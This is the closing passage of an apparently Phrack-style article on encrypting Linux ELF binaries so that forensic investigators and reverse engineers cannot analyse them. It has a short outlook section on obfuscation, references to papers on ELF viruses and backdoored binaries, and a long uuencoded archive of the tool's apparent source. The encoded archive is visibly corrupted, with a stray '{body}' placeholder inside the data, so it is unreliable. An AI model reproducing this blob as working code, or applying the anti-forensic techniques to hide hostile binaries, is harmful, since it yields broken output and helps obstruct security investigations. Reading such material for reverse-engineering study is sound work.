loading can be found in [8].
--[ The future
Forensic work on binary executeables will become very difficult, and most
of the people who do forensics nowadays will drop out of the field. Most
likely some people from the reverse engineering 'scene' will convert more
to network security and become forensics.
There are promising approaches to incorporating decompilation and
data/code flow analysis techniques into binary encryption to implement
further protections against tampering, analyzing and deprotecting such
binaries.
The strength of the next protections will rely on the missing debug
interfaces on most UNIX's, that are able to deal with hostile code. The
generation of protections that come afterwards will rely solely on their
sophisticated obfuscation approaches to deny attempts of static and
dead-listing type of analysis.
There are approaches to replace the overtaxed ptrace interface [9] with
more powerful debug interfaces that can deal with hostile code. Also work
on kernel space debuggers has been done, such as the Pice debugger [10].
Aside from poor debugging tools and bad debugging hooks, the only thing
that can be used to armour the run time binary is heavy obfuscation that
will make it harder for a reverse engineer to see what is actually going
on. You have to remember that a reverse engineer can see each atomic
operation that is performed, as well as what is going on in memory (i.e.
change variables, new mmaps, read()s, etc. etc. If this is to be defeated,
they need to be swamped with information. They need to be so bady off that
they cry about each time they have to restart their debuggers!
--[ References
[1] Tool Interface Standard, Executeable and Linking Format, Version 1.2
http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf
http://www.caldera.com/developers/gabi/latest/contents.html
http://www.caldera.com/developers/devspecs/gabi41.pdf
additional per-architecture information is available from
http://www.caldera.com/developers/devspecs/
[2] Silvio Cesare, Unix viruses
http://www.big.net.au/~silvio/unix-viruses.txt
[3] Silvio Cesare, Unix ELF parasites and virus
http://www.big.net.au/~silvio/elf-pv.txt
[4] klog, Phrack #56 article 9, Backdooring binary objects
http://www.phrack.org/show.php?p=56&a=9
[5] Silvio Cesare, The 'VIT' virus
http://www.big.net.au/~silvio/vit.html
[6] Konrad Rieck, Konrad Kretschmer
'Brundle-Fly', a good-natured Linux ELF virus
http://www.roqe.org/brundle-fly/
[7] The grugq, dacryfile binary encryptor
http://hcunix.7350.org/grugq/src/dacryfile.tgz
[8] John R. Levine, Linkers & Loaders
ISBN 1-55860-496-0
[9] Linux ptrace man page (see if you can catch the three errors)
http://www.die.net/doc/linux/man/man2/ptrace.2.html
[10] PrivateICE Linux system level symbolic source debugger
http://pice.sourceforge.net/
[11] Konstantin Boldyshev, Startup state of Linux/i386 ELF binary
http://linuxassembly.org/startup.html
[12] UPX, the Ultimate Packer for eXecutables
http://upx.sourceforge.net/
[13] GNU binutils
ftp://ftp.gnu.org
[14] Forensic analysis of a burneye protected binary
http://www.incidents.org/papers/ssh_exploit.pdf
http://staff.washington.edu/dittrich/misc/ssh-analysis.txt
[15] The grugq, Subversive Dynamic Linking
http://hcunix.7350.org/grugq/doc/subversivedl.pdf
begin 644 binary-encryption.tar.gz
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
M/BM89%Z(1:@{body}gt;MCP'.=TL*"@WVT]LZLE$2^MH62`;09$*6T"=>E3ZCN67186
M.GS(;@"T=12^3\^Z/1$+@+5CCS??2$L!@`,;509_(G@%X$5Q@^96EY=C<2EL
M'I#UQOL1*OSTW@^N0$M/H0`XLZ9U7(PZ>\@@422+$E1(>P&#M$2H7+ZT3R"@
MFS")O5'5)9D_N+IKS+TQ<X&:X3&CP2AIM+L)[4S;J9I`U:A[<GHF[XJ!*M==
M./;[0'W7-,35BRJ-$:QOF1#%H&!U_2A>2_&FB0^?SJ.LMV1"(Q!8V)RFLIKZ
M@F"E%WY:6:`BHENPHVT1K:F-P)2#;<*39$MC>"=3'>.WH,1S"ZI'??,44I%$
M#P1E&!"Q%4U$[(;7\W^$E!%,;DG9@PI+1^G)WJ:6X+`8B23L2A0F%JW.F8=-
M>^%L]3LM[#9JWK>BSIP,36R(>K;[N1Y"57G9;BWM+WQ9SBB8>0[N:E,\VJ"O
M?H@2Z/*%-.%>^!-0J1TE[.V<\!<+BILO[<THW[AA;16LP^F209&OR/N]OE,$
M/V'A)815B_I?XO]`_\3;36*,X7\MAM*K][V%V7XJYEN75]</UY$O/BF&TB**
M`:\3$I.[P$3%E/(8O"PC=V&6.9`R:XS;:G%PL>&V&[$]P7-+V2*J\-\HI&OL
M'<R''KUK;"@$A>?Q027+E1<]%TX%&[V7/74O#OT>,++N;<=0WD#7M?4+X>]&
MUEM<(-[?'SPPRG3;`Y^?H-YU%`S?>D3$+ER`3C),,2K(&P19LY[=JTI=I29Y
M;.OHY=(/;*4N]VL@#L[PZ])-Q_#][Y;)NF7%D[4$7U#';V5W\/CF-UBUQM;1
ME'BM[\?#5JFFRWI$VF8LV>BU[N"UM5WHEW7Z1=LXS%UP*CQNI/FI0)B_!0H`
M9/@O!!YTVN8D'XZCHG'G-NJ:J/)Y.[KW\=JF2.X36L##0=/,DW(]O[.G.^7[
M3L;=>!S\